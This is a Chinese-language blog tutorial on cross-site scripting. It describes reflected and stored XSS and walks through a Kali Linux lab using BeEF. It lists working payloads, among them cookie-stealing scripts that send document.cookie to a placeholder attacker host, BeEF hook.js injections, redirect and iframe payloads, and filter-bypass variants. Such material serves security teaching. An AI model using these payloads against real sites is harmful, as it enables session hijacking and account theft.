跨站脚本(cross site script)为了不与样式css混淆,因此简称为XSS。 XSS是一种常常出如今web应用中的计算机安全漏洞,也是web中最主流的攻击方式。那么什么是XSS呢? XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页 面中去。使别的用户访问都会执行相应的嵌入代码。 从而盗取用户资料、利用用户身份进行某种动做或者对访问者进行病毒侵害的一种攻击方式。 XSS攻击的危害包括: 一、盗取各种用户账号,如机器登陆账号、用户网银账号、各种管理员账号 二、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力 三、盗窃企业重要的具备商业价值的资料 四、非法转帐 五、强制发送电子邮件 六、网站挂马 七、控制受害者机器向其它网站发起攻击
XSS主要缘由: 过于信任客户端提交的数据! XSS主要分类: 反射型xss攻击(Reflected XSS) 又称为非持久性跨站点脚本攻击,它是最多见的类型的XSS。漏洞产生的缘由 是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的连接(即每次攻击须要用 户的点击)。 存储型XSS(Stored XSS) 又称为持久型跨站点脚本,它通常发生在XSS攻击向量(通常指XSS攻击代码)存储在网 站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久性XSS 攻击危害性更大, 由于每当用户打开页面,查看内容时脚本将自动执行。
经常使用HTML标签javascript
<iframe> iframe 元素会建立包含另一个文档的内联框架(即行内框架)。 <textarea> <textarea> 标签订义多行的文本输入控件。 <img> img 元素向网页中嵌入一幅图像。 <script> <script> 标签用于定义客户端脚本,好比 JavaScript。 script 元素既能够包含脚本语句,也能够经过 src 属性指向外部脚本文件。 必需的 type 属性规定脚本的 MIME 类型。 JavaScript 的常见应用时图像操做、表单验证以及动态内容更新。
经常使用JavaScript方法php
alert alert() 方法用于显示带有一条指定消息和一个 确认 按钮的警告框 window.location window.location 对象用于得到当前页面的地址 (URL),并把浏览器重定向到新的页面。 location.href 返回当前显示的文档的完整 URL onload 一张页面或一幅图像完成加载 onsubmit 确认按钮被点击 onerror 在加载文档或图像时发生错误
构造XSS脚本css
弹框警告 此脚本实现弹框提示,通常做为漏洞测试或者演示使用,相似SQL注入漏洞测试中的单引号', 一旦此脚 本能执行,也就意 味着后端服务器没有对特殊字符作过滤<>/' 这样就能够证实,这个页面位置存在了XSS漏 洞。 <script>alert('xss')</script> #会弹出一个xss的小框 <script>alert(document.cookie)</script> 页面嵌套 <iframe src=http://www.baidu.com width=300 height=300></iframe> #会显示出一个长宽都是300的百度页面,你能够设置为其它页面的url <iframe src=http://www.baidu.com width=0 height=0 border=0></iframe> 页面重定向 <script>window.location="http://www.baidu.com"</script> #跳转到百度界面 <script>location.href="http://www.baidu.com"</script> 弹框警告并重定向 <script>alert("请移步到咱们的新站");location.href="http://www.baidu.com"</script> <script>alert('xss');location.href="http://www.baidu.com"</script> 这里结合了一些社工的思路,例如,经过网站内部私信的方式将其发给其余用户。若是其余用户点击而且相信了 这个信息,则可能在另外的站点从新登陆帐户(克隆网站收集帐户) 访问恶意代码 <script src="http://www.baidu.com/xss.js"></script> <script src="http://BeEF_IP:3000/hook.js"></script> #结合BeEF收集用户的cookie 巧用图片标签 <img src="#" onerror=alert('xss')> <img src="javascript:alert('xss');"> <img src="http://BeEF_IP:3000/hook.js"></img> 绕开过滤的脚本 大小写 <ScrIpt>alert('xss')</SCRipt> 字符编码 采用URL、Base64等编码 <a href="javascript:alert ;("xss")">yjssjm</a> 收集用户cookie 打开新窗口而且采用本地cookie访问目标网页,打开新窗口而且采用本地cookie访问目标网页。 <script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script> <script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie</script> <script>new Image().src="http://www.hacker.com/cookie.php?cookie="+document.cookie;</script> <img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img> <iframe src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></iframe> <script>new Image().src="http://www.hacker.com/cookie.php?cookie='+document.cookie"; img.width = 0; img.height = 0; </script>
上面这些代码下面会有实验来一一解释,反射型xss和存储型xss都能用。java
简单来讲反射型就是临时的xss,只有别人把该连接发给你,你点开以后才会中圈套。可是你不点开,正常的去访问该网站是没什么问题的。
这里咱们用kali当作被下套的客户端,将咱们作好的xss的连接地址复制到kali里面自带的浏览器上web
弹框警告: <script>alert('yjssjm')</script>
因此,反射型xss只要咱们不打开别人发的连接,本身去访问该页面是没有什么问题的。shell
页面重定向 <script>window.location="http://www.baidu.com"</script> #跳转到百度界面
直接跳转到百度界面
数据库
页面嵌套 <iframe src=http://www.baidu.com width=300 height=300></iframe>
存储型XSS(持久型XSS)即攻击者将带有XSS攻击的连接放在网页的某个页面,例如评论框等; 用户访问此XSS连接并执行,因为存储型XSS可以攻击全部访问此页面的用户,因此危害很是大。
简单来讲,就是知道你访问这个网站中带有xss的区域就会中套。apache
弹框告警: text1 <script>alert('yjssjm')</script>
而后咱们去kali上面打开
这几乎是存储型xss,在某个区域,只要你点开就会中了别人下的圈套。后端
咱们这里用到kali里面自带的BeEF(牛)软件,用来实现自动化xss浏览器
启动Apache和BeEF: root@kali:~# service apache2 start
而后打开BeEF
<script src="http://192.168.13.145:3000/hook.js"></script> 注:192.168.13.145为BeEF所在机器,即Kali Linux IP
你会发现咱们的代码无法彻底复制进去,是由于网页给咱们限制了字数,咱们须要去修改一下
而后咱们去kali里面登陆BeEF:
username: beef
password: beef
命令颜色(Color): 绿色 对目标主机生效而且不可见(不会被发现) 橙色 对目标主机生效但可能可见(可能被发现) 灰色 对目标主机未必生效(可验证下) 红色 对目标主机不生效
这里面咱们就能够对目标靶机进行各类操做,不用写代码,内部已经设置好了代码,咱们只须要点点点,特别方便。
大家的评论和点赞是我写文章的最大动力,蟹蟹。